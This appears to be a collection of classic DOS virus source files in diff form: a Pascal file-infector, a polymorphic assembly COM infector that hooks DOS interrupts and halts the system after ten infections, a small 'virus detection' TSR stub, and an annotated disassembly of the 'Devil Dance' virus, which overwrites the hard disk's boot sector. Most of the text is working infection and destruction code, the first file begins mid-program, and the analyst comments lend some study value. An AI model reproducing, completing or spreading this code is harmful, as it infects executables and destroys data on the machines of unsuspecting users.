FSplit (FExpand(ParamStr (0)), Dir, Nam, Ext);
IF Nam = 'DESTROY' THEN Exit;
Assign (F, ParamStr (0));
GetFAttr (F, FAttr);
SetFAttr (F, Archive);
FileMode := 2;
ReSet (F,1);
IF IOResult <> 0 THEN BEGIN
WriteLn ('Disk failure');
Exit;
END;
GetFTime (F, FTime);
Assign (F1, 'QWERTY.SWP');
ReWrite (F1,1);
BlockRead (F, Buff, MyLen, W);
BlockWrite (F1, Buff, MyLen, W);
Seek (F, FileSize (F) - (MyLen + 1));
BlockRead (F, Buff, MyLen, W);
FOR W := 1 TO MyLen DO
Buff [W] := Buff [W] xor Byte (W);
Seek (F, 0);
BlockWrite (F, Buff, MyLen, W);
Seek (F, FileSize (F) - (MyLen + 1));
Truncate (F);
Close (F1);
Close (F);
S := '';
FOR W := 1 TO ParamCount DO
S := ParamStr (1) + ' ';
SwapVectors;
Exec (ParamStr (0), S);
SwapVectors;
FileMode := 2;
Assign (F, ParamStr (0));
ReSet (F,1);
Assign (F1, 'QWERTY.SWP');
ReSet (F1,1);
Seek (F, 0);
BlockRead (F, Buff, MyLen, W);
FOR W := 1 TO MyLen DO
Buff [W] := Buff [W] xor Byte (W);
Seek (F, FileSize (F));
BlockWrite (F,Buff, MyLen, W);
Buff [1] := Ord('€');
BlockWrite (F,Buff[1], 1, W);
BlockRead (F1, Buff, MyLen, W);
Seek (F, 0);
BlockWrite (F, Buff, MyLen, W);
SetFTime (F, FTime);
Close (F);
SetFAttr (F, FAttr);
Close (F1);
Erase (F1);
END;
PROCEDURE Search_From_PATH;
VAR
PS : String;
Home : String;
S : String;
Ch : Char;
I : Byte;
BEGIN
GetDir (0, Home);
PS := GetEnv ('PATH');
S := '';
I := 1;
WriteLn (PS);
REPEAT
IF I >= Length (PS)+1 THEN BEGIN
IF S <> '' THEN BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult = 0 THEN
Find_In_To_Current_Directory;
END;
Break;
END;
Ch := PS [I];
Inc (I);
IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
ChDir (S);
IF IOResult <> 0 THEN BEGIN
S := '';
Continue;
END;
Find_In_To_Current_Directory;
S := '';
END;
UNTIL False;
ChDir (Home);
END;
BEGIN
Find_In_To_Current_Directory;
Exec_Program;
Search_From_PATH;
END.
+518
View File
@@ -0,0 +1,518 @@
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[tabb+2]
push cs
pop ds
jmp loopshit
otto:
jmp start
loopshit:
jmp word ptr cs:[tabb]
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- TABLE WITH MODULE PARAMETERS --------------------
tabb :
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset tabb+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
cmp bx,offset tabb+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
add bx,2
loop mod_1_lp1
ret
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check
mov es,cs:[2] ;memory size
mov di,100
mov si,100
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[tabb+06] ;if install, jump to module 4
mod_2_install:
;instalation
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
je mod_2_cont
jmp word ptr cs:[tabb+6] ;if no last MCB - go to mod4
mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds
mod_2_mut:
mov byte ptr cs:files,0
mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory
mov bx,word ptr cs:[tabb]
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method
mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
mov cl,8
not ax
mov bx,offset tabb
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2
jmp word ptr cs:[tabb+4] ;go to module 3
mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset tabb
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax
mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax
mov ah,30
int 21
cmp ax,1e03
jne mod_3_getvec
mov word ptr es:[stdint21],1460
mov ax,1203
push ds
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec
mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax
mod_3_setvec:
cli
mov ax,word ptr es:[tabb+0c]
mov ds:[4*21],ax
mov ax,es
mov ds:[4*21+2],ax
sti
mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
pop es ;
int 2f ;
jmp word ptr cs:[tabb+06] ;go to module 4
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[tabb+06]
add si,offset mod_4_cont - offset mod_4
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100
cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,100 ;
push ax ; jmp 100
ret ;
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
mov ah,9
mov dx,word ptr [tabb+8]
add dx,offset msg-offset mod_5
push cs
pop ds
int 21
cli
hlt
msg db 0dh,0a,'Senseless Destruction...',7,7,'$'
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'Protecting what we are ',0
db 'joining together to take on the world.. ',0
db 'METAL MiLiTiA [iMM0RTAL Ri0T] ',0
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax
cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[tabb+0a] ;
cli ;
mov ds:[4*24],ax ;
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds
mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[tabb+0e] ;
pushf
mov ah,3e ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;
mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx
jmp cs:oldint21
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx
mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit
mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W
mov ax,es:[di+11]
mov cs:fsize,ax ; save file size
mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,word ptr es:[di+0f] ;
mov word ptr cs:[fdate],ax ;
push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit
mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit
mod_8_cnt2:
push es
push di
push cs ;
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
mov cx,0bh ;
repe cmpsb ;
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0
push es
push di
mov si,word ptr cs:[tabb+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es
mov si,word ptr cs:[tabb+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
ret
mod_8_cont:
push bx
call word ptr cs:[tabb] ; code virus
pop bx
mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;
pushf
push bx
call word ptr cs:[tabb] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
mov ax,word ptr cs:[tabb+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;
mov dx,offset myend+1
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file
ret
mod_8_cont_end:
mov ax,5701 ;
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;
inc cs:files
cmp cs:files,0a
jne mod_8_ext
call word ptr cs:[tabb+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret
;---------------------------------------------------------------
myend db 0
int 20 ;code of infected file
false_mod_1:
mov word ptr cs:[tabb],offset mod_1
ret
code ends
end start

+86
View File
@@ -0,0 +1,86 @@
cseg segment para public 'CODE'
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 100h
begin: mov dx,offset virus_get ; Set Int F2h Handler
mov ax,25F2h
int 21H
mov dx,offset signon ; Tell Them We're Here
mov ah,9
int 21h
mov dx,((offset pgm_len+15)/16)+10h ; Reserve DX Paragraphs Mem
mov ax,3100h ; TSR Code 0
int 21h
virus_get proc near
sti
push ax ; Save Registers
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
cmp dx, 'As' ; Virus?
jne okay ; Nope
mov ax,cs
mov ds,ax
mov dx,offset warning ; Warn User
mov ah,9
int 21h
check: mov ah,1 ; Read Keyboard
int 21h
cmp al,'C' ; User Wants To Continue
je cont
cmp al,'c'
je cont
cmp al,'Q' ; User Wants To Quit
je quit
cmp al,'q'
je quit
mov dx,offset bad ; Incorrect Key
mov ah,9
int 21h
jmp check
quit: mov ah,9 ; 'Contact Havoc The ...'
mov dx,offset ending
int 21h
mov ax,4cffh ; Exit Code 255
int 21h
cont: mov dx,offset crlf ; Send CR/LF
mov ah,9
int 21h
okay: pop es ; Restore Registers
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt Return
virus_get endp
signon db 10,13,'Gunther Virus Detection Handler Installed.'
db 10,13,'Created by Havoc The Chaos'
db 10,13,'Copywrite (c) 1992, 1993 by John Burnette'
db 10,13,'All Rights Reserved.',10,13,'$'
warning db 7,7,7,10,13,'Warning, Interrupt F2h Detected: Gunther Virus is active!'
db 10,13,'Continue or Quit (C/Q) ? $'
ending db 10,10,13,'Contact Havoc The Chaos for a cure by sending him the virus!',7,'$'
bad db 7,7,8,' ',8,'$'
crlf db 10,13,'$'
pgm_len equ $-begin
cseg ends
end begin
+625
View File
@@ -0,0 +1,625 @@
; virus Devil Dance
;
; disassembled by Marek A. Filipiak October 31, 1990
;
0100 E9090B JMP 0C0C
; ...
; victim code
; ...
;========================================
; Virus entry point
;========================================
; find offset of virus code in memory
0C0C 8B360101 MOV SI,[0101] ; destination of first jump
0C10 81C60301 ADD SI,0103 ; PSP + length of jump instruction
; restore victim starting code
0C14 56 PUSH SI ; store virus offset in memory
0C15 B90300 MOV CX,0003 ; restore oryginal first 3 bytes
0C18 81C6A703 ADD SI,03A7 ; address of 3 bytes
0C1C BF0001 MOV DI,0100 ; destination
0C1F F3 REPZ
0C20 A4 MOVSB ; move
0C21 5E POP SI ; restore virus base address
0C22 E81300 CALL 0C38 ; check presence of resident part
0C25 7306 JAE 0C2D ; return to aplication
0C27 E86503 CALL 0F8F ; infect one file in current directory
0C2A E82A00 CALL 0C57 ; instal resident part
; return to aplication
0C2D B80001 MOV AX,0100 ; return address
0C30 50 PUSH AX
0C31 8CC8 MOV AX,CS
0C33 8ED8 MOV DS,AX
0C35 8EC0 MOV ES,AX
0C37 C3 RET ; jump to aplication
;---------------------------
; is resident part active?
0C38 06 PUSH ES
0C39 B82135 MOV AX,3521 ; get INT 21h vector
0C3C CD21 INT 21
0C3E 26 ES:
0C3F 807FFD44 CMP BYTE PTR [BX-03],44 ; 'D'
0C43 750F JNZ 0C54 ; no, exit with carry and NZ
0C45 26 ES:
0C46 807FFE72 CMP BYTE PTR [BX-02],72 ; 'r'
0C4A 7508 JNZ 0C54 ; no, exit with carry and NZ
0C4C 26 ES:
0C4D 807FFF6B CMP BYTE PTR [BX-01],6B ; 'k'
0C51 07 POP ES
0C52 F8 CLC ; exit with no carry and Z or NZ
0C53 C3 RET
0C54 07 POP ES
0C55 F9 STC
0C56 C3 RET
;----------------------
; instal resident part
0C57 B8004A MOV AX,4A00 ; change size of allocated memory
0C5A BB0010 MOV BX,1000 ; to 64 Kb (size in paragraphs)
0C5D 0E PUSH CS
0C5E 1F POP DS
0C5F CD21 INT 21
0C61 B80048 MOV AX,4800 ; allocate memory
0C64 BB4C00 MOV BX,004C ; requested size (1216 bytes)
0C67 CD21 INT 21
0C69 FC CLD
0C6A 8EC0 MOV ES,AX ; segment of allocated block
0C6C 56 PUSH SI ; store SI
0C6D 8BDE MOV BX,SI ; virus base
0C6F BF0301 MOV DI,0103 ; destination
0C72 B9AD03 MOV CX,03AD ; virus size (941)
0C75 F3 REPZ
0C76 A4 MOVSB ; move to new place
; first 103 bytes of allocated block serve for virus working area
0C77 26 ES:
0C78 C70600000301 MOV WORD PTR [0000],0103 ; virus base in moved code
0C7E 5E POP SI ; restore SI (virus base)
0C7F 1E PUSH DS ; store current DS
0C80 06 PUSH ES ; store virus ES
0C81 8CC0 MOV AX,ES
0C83 48 DEC AX ; segment of MCB
0C84 8EC0 MOV ES,AX
0C86 26 ES:
0C87 C70601000600 MOV WORD PTR [0001],0006 ; paragraph of block owner
0C8D 07 POP ES ; restore virus ES
0C8E 8CC0 MOV AX,ES ; set DS to new virus segment
0C90 8ED8 MOV DS,AX
0C92 B82135 MOV AX,3521 ; get INT 21h
0C95 CD21 INT 21
0C97 891E0200 MOV [0002],BX ; store INT 21h
0C9B 8C060400 MOV [0004],ES
0C9F BA9B03 MOV DX,039B ; offset of new handler (here 0EA4h)
0CA2 B82125 MOV AX,2521 ; set INT 21h
0CA5 CD21 INT 21
0CA7 B80935 MOV AX,3509 ; get INT 09h
0CAA CD21 INT 21
0CAC 891E0600 MOV [0006],BX ; store it
0CB0 8C060800 MOV [0008],ES
0CB4 C70620000000 MOV WORD PTR [0020],0000 ; reset Alt keystroke counter
0CBA C606150000 MOV BYTE PTR [0015],00 ; reset flag ??
0CBF B80925 MOV AX,2509 ; set INT 09h (keyboard)
0CC2 BAC001 MOV DX,01C0 ; offset of new handler (here 0CC9)
0CC5 CD21 INT 21
0CC7 1F POP DS ; restore carrier DS
0CC8 C3 RET
;-----------------------------
; INT 09h handler (keyboard)
0CC9 CC INT 3 : ?? destroyed by some debugger ??
0CCA FB STI
0CCB 50 PUSH AX ; store AX
0CCC 1E PUSH DS ; and DS
0CCD 33C0 XOR AX,AX ; set DS to 0
0CCF 8ED8 MOV DS,AX
0CD1 A01704 MOV AL,[0417] ; BIOS, shift status
0CD4 2408 AND AL,08 ; extract Alt key
0CD6 3C08 CMP AL,08 ; is active?
0CD8 7503 JNZ 0CDD ; not presed
0CDA E98300 JMP 0D60 ; check for Del key
0CDD 2E CS:
0CDE FF062000 INC WORD PTR [0020] ; keystroke counter
0CE2 2E CS:
0CE3 803E150001 CMP BYTE PTR [0015],01 ; ?? flag ??
0CE8 740B JZ 0CF5
0CEA 2E CS:
0CEB 833E20000A CMP WORD PTR [0020],+0A ; exactly 10 keys were presed?
0CF0 7403 JZ 0CF5 ; yes
; exit
0CF2 EB64 JMP 0D58 ; exit to true INT 9
0CF4 90 NOP
; exactly ten keys has been presed or flag [0015] has been set
; change attribute at curent cursor position
0CF5 52 PUSH DX
0CF6 56 PUSH SI
0CF7 53 PUSH BX
0CF8 06 PUSH ES
0CF9 51 PUSH CX
0CFA BE0301 MOV SI,0103 ; virus base
0CFD 81C62202 ADD SI,0222 ; encrypted part of code (here 0E2Eh)
0D01 2E CS:
0D02 C606150001 MOV BYTE PTR [0015],01 ; set flag
0D07 2E CS:
0D08 8B1E2B03 MOV BX,[032B] ; (here 0E34h)
0D0C 2E CS:
0D0D FF062B03 INC WORD PTR [032B] ; increase attribute counter
0D11 81FB2B03 CMP BX,032B
0D15 7302 JAE 0D19 ; skip counter reset
0D17 EB0A JMP 0D23
0D19 2E CS:
0D1A C7062B032503 MOV WORD PTR [032B],0325 ; reset counter
0D20 BB2503 MOV BX,0325 ; set BX to new value
0D23 CD11 INT 11 ; equipment list
0D25 2430 AND AL,30 ; video monitor
0D27 3D3000 CMP AX,0030 ; monochrome
0D2A 7505 JNZ 0D31 ; no
; mistake!
0D2C B800B8 MOV AX,B800 ; should be B000
0D2F EB03 JMP 0D34
0D31 B800B8 MOV AX,B800 ; segment of video RAM
0D34 8EC0 MOV ES,AX ; initialize ES (video RAM)
0D36 2E CS:
0D37 8A07 MOV AL,[BX] ; number between 09 .. 0E
0D39 50 PUSH AX
; find screen address of current cursor position
0D3A A15004 MOV AX,[0450] ; (DS = 0) get current cursor position
0D3D 86E0 XCHG AL,AH ; swap column, row
0D3F 8ADC MOV BL,AH ; row
0D41 32E4 XOR AH,AH ; AX := row
0D43 32FF XOR BH,BH ; BX := column
0D45 B9A000 MOV CX,00A0 ; 160, length of one line
0D48 F7E1 MUL CX
0D4A D1E3 SHL BX,1 ; mulitply by 2
0D4C 03D8 ADD BX,AX
0D4E 43 INC BX ; attribute field
0D4F 58 POP AX ; restore choosen attribute
0D50 26 ES:
0D51 8807 MOV [BX],AL ; put it on the screen
; exit
0D53 59 POP CX
0D54 07 POP ES
0D55 5B POP BX
0D56 5E POP SI
0D57 5A POP DX
0D58 1F POP DS
0D59 58 POP AX
0D5A FA CLI
0D5B 2E CS:
0D5C FF2E0600 JMP FAR [0006] ; true INT 9
; Alt key is presed
0D60 E460 IN AL,60 ; read keyboard scan code
0D62 3C53 CMP AL,53 ; Del?
0D64 7407 JZ 0D6D ; yes, procede
; exit to true INT 9
0D66 1F POP DS
0D67 58 POP AX
0D68 2E CS:
0D69 FF2E0600 JMP FAR [0006]
; Alt + Del service
0D6D CD11 INT 11 ; equipment list
; again mistake! Decimaly 48 is 30 in hex
0D6F 254800 AND AX,0048 ; ??
0D72 3D4800 CMP AX,0048 ; ??
0D75 7505 JNZ 0D7C
; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved
; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K)
; so probably AX and 48 almost always will be equol 48.
0D77 B800B0 MOV AX,B000 ; monochrome
0D7A EB03 JMP 0D7F
0D7C B800B8 MOV AX,B800 ; other
0D7F 8EC0 MOV ES,AX ; initial ES to video segment
0D81 8CC8 MOV AX,CS ; restore DS
0D83 8ED8 MOV DS,AX
0D85 33FF XOR DI,DI ; clear screen location pointer
0D87 B407 MOV AH,07 ; attribute
0D89 B0B1 MOV AL,B1 ; chracter ± (177)
0D8B B9D007 MOV CX,07D0 ; size of screen
0D8E F3 REPZ
0D8F AB STOSW ; fill screen with box character
; display first part of mesage: Have you ever danced ...
0D90 BF4A06 MOV DI,064A ; offset of column 10, row 10
0D93 BE3103 MOV SI,0331 ; offset of message
0D96 AC LODSB ; get next character
0D97 2C80 SUB AL,80 ; decrypt
0D99 0AC0 OR AL,AL ; end of string?
0D9B 740D JZ 0DAA ; yes
0D9D B40F MOV AH,0F ; attribute
0D9F AB STOSW ; put on screen
0DA0 B900A0 MOV CX,A000 ; constant for pause
0DA3 050100 ADD AX,0001 ; small pause
0DA6 E2FB LOOP 0DA3
0DA8 EBEC JMP 0D96 ; disply next character
; display next message: Pray for your disk!
0DAA BF7008 MOV DI,0870 ; row 13, column 40
0DAD BE7703 MOV SI,0377
0DB0 AC LODSB
0DB1 2C80 SUB AL,80
0DB3 0AC0 OR AL,AL
0DB5 740D JZ 0DC4
0DB7 B40F MOV AH,0F
0DB9 AB STOSW
0DBA B900A0 MOV CX,A000
0DBD 050100 ADD AX,0001
0DC0 E2FB LOOP 0DBD
0DC2 EBEC JMP 0DB0
; disply third part of message, The_Jocker...
0DC4 BFB009 MOV DI,09B0 ; row 15, column 40
0DC7 BE8B03 MOV SI,038B
0DCA AC LODSB
0DCB 2C80 SUB AL,80 ; decrypt
0DCD 0AC0 OR AL,AL ; end of string?
0DCF 740D JZ 0DDE ; yes
0DD1 B40F MOV AH,0F ; attribute
0DD3 AB STOSW
0DD4 B900A0 MOV CX,A000 ; time constant
0DD7 050100 ADD AX,0001 ; small pause
0DDA E2FB LOOP 0DD7
0DDC EBEC JMP 0DCA ; get next character
; diplay the rest: Ha Ha Ha ...
0DDE BA1E00 MOV DX,001E ; starting column (15)
0DE1 B90A00 MOV CX,000A ; counter
0DE4 51 PUSH CX
0DE5 BF400B MOV DI,0B40 ; row 18, column 1
0DE8 52 PUSH DX
0DE9 D1E2 SHL DX,1 ; DX := 3C
0DEB 03FA ADD DI,DX ; move coursor 30 characters right
0DED 5A POP DX
0DEE BE2D03 MOV SI,032D ; offset of 'Ha ',0
0DF1 AC LODSB ; get next character
0DF2 2C80 SUB AL,80 ; decrypt
0DF4 0AC0 OR AL,AL ; end of string
0DF6 740D JZ 0E05 ; yes
0DF8 B40F MOV AH,0F ; attribute
0DFA AB STOSW ; display
0DFB B900A0 MOV CX,A000 ; time constant
0DFE 050100 ADD AX,0001 ; small pause
0E01 E2FB LOOP 0DFE
0E03 EBEC JMP 0DF1 ; get next character
0E05 83C203 ADD DX,+03 ; move cursor 3 positions right
0E08 59 POP CX ; restore counter
0E09 E2D9 LOOP 0DE4
0E0B B020 MOV AL,20 ; enable hardware interrupts
0E0D E620 OUT 20,AL
0E0F 2E CS:
0E10 813E20008813 CMP WORD PTR [0020],1388 ; 5000 keystrokes
0E16 7305 JAE 0E1D ; perform destruction
0E18 EAF0FF00F0 JMP F000:FFF0 ; cold reset
0E1D B80000 MOV AX,0000 ; reset disk
0E20 CD13 INT 13
; overwrite Master Boot Sector of first hard drive
0E22 B80103 MOV AX,0301 ; write one sector
0E25 33C9 XOR CX,CX
0E27 41 INC CX ; track 0, sector 1
0E28 33D2 XOR DX,DX ; head 0
0E2A B280 MOV DL,80 ; first hard drive
0E2C CD13 INT 13
; after destruction computer will crush trying execute working area bytes
;--------------
; working area
0E2E 09 0A 0B 0C 0D 0E ; [0325],... set of attributes to put onto screen
0E34 26 03 ; counter, points at one out of six above bytes
; encrypted ASCIIZ strings (to any character 80h is added)
0E36 C8 E1 A0 80 ; encrypted 'Ha ',0
0E3A C8 E1 F6 E5 A0 F9 Have y
0E40 EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7 ou ever danced w
0E50 E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE ith the devil un
0E60 E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7 der the weak lig
0E70 E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80 ht of the moon?.
0E80 D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9 Pray for your di
0E90 F3 EB A1 80 sk!.
0E94 D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80 The_Joker....
0EA1 44 72 6B ; signature of virus resident part: 'Drk'
;-----------------------------
; new INT 21h handler
0EA4 9C PUSHF
0EA5 3D004B CMP AX,4B00 ; Load and execute
0EA8 7420 JZ 0ECA
0EAA 80FC49 CMP AH,49 ; free allocated memory
0EAD 7403 JZ 0EB2
0EAF EB13 JMP 0EC4 ; exit to old INT 21h
0EB1 90 NOP
; free allocated memory service
0EB2 50 PUSH AX
0EB3 53 PUSH BX
0EB4 8CC8 MOV AX,CS ; compare requested block with
0EB6 8CC3 MOV BX,ES ; block actualy ocupied by virus
0EB8 3BD8 CMP BX,AX
0EBA 5B POP BX
0EBB 58 POP AX
0EBC 7506 JNZ 0EC4 ; blocks are different, exit
0EBE F8 CLC ; clear carry (no error!)
0EBF 8CC0 MOV AX,ES ; put own segment into AX
0EC1 CA0200 RETF 0002
; exit to old INT 21h
0EC4 9D POPF
0EC5 2E CS:
0EC6 FF2E0200 JMP FAR [0002]
; load and execute service
0ECA 55 PUSH BP
0ECB 50 PUSH AX
0ECC 53 PUSH BX
0ECD 51 PUSH CX
0ECE 52 PUSH DX
0ECF 1E PUSH DS
0ED0 06 PUSH ES
0ED1 56 PUSH SI
0ED2 57 PUSH DI
0ED3 FC CLD
0ED4 8BF2 MOV SI,DX ; ASCIIZ file name
0ED6 AC LODSB ; find end of file name
0ED7 0AC0 OR AL,AL ; end of string?
0ED9 7402 JZ 0EDD ; yes
0EDB EBF9 JMP 0ED6 ; get next character
0EDD 83EE04 SUB SI,+04 ; point at first char of extension
0EE0 803C43 CMP BYTE PTR [SI],43 ; 'C' is it COM file
0EE3 7502 JNZ 0EE7 ; maybe lower case?
0EE5 7405 JZ 0EEC ; infect
0EE7 803C63 CMP BYTE PTR [SI],63 ; 'c'
0EEA 752B JNZ 0F17 ; exit
; prepare infection
0EEC B42F MOV AH,2F ; get DTA
0EEE CD21 INT 21
0EF0 06 PUSH ES
0EF1 53 PUSH BX
0EF2 52 PUSH DX
0EF3 1E PUSH DS
0EF4 0E PUSH CS
0EF5 1F POP DS
0EF6 BA8000 MOV DX,0080 ; offset of local DTA
0EF9 B41A MOV AH,1A ; set DTA
0EFB CD21 INT 21
; get date of loaded file into local DTA
0EFD 1F POP DS
0EFE 5A POP DX ; offset of file name
0EFF B44E MOV AH,4E ; find first
0F01 B92300 MOV CX,0023 ; attributes: Subdir, Hiden, Read Only
0F04 CD21 INT 21
0F06 8CC8 MOV AX,CS
0F08 8ED8 MOV DS,AX
0F0A 8B360000 MOV SI,[0000]
0F0E E81500 CALL 0F26 ; infect file
0F11 5A POP DX
0F12 1F POP DS
0F13 B41A MOV AH,1A ; restore DTA
0F15 CD21 INT 21
0F17 5F POP DI
0F18 5E POP SI
0F19 07 POP ES
0F1A 1F POP DS
0F1B 5A POP DX
0F1C 59 POP CX
0F1D 5B POP BX
0F1E 58 POP AX
0F1F 5D POP BP
0F20 9D POPF
0F21 2E CS:
0F22 FF2E0200 JMP FAR [0002] ; exit to old INT 21h
;-------------
; infect file
0F26 33C9 XOR CX,CX ; clear all attributes
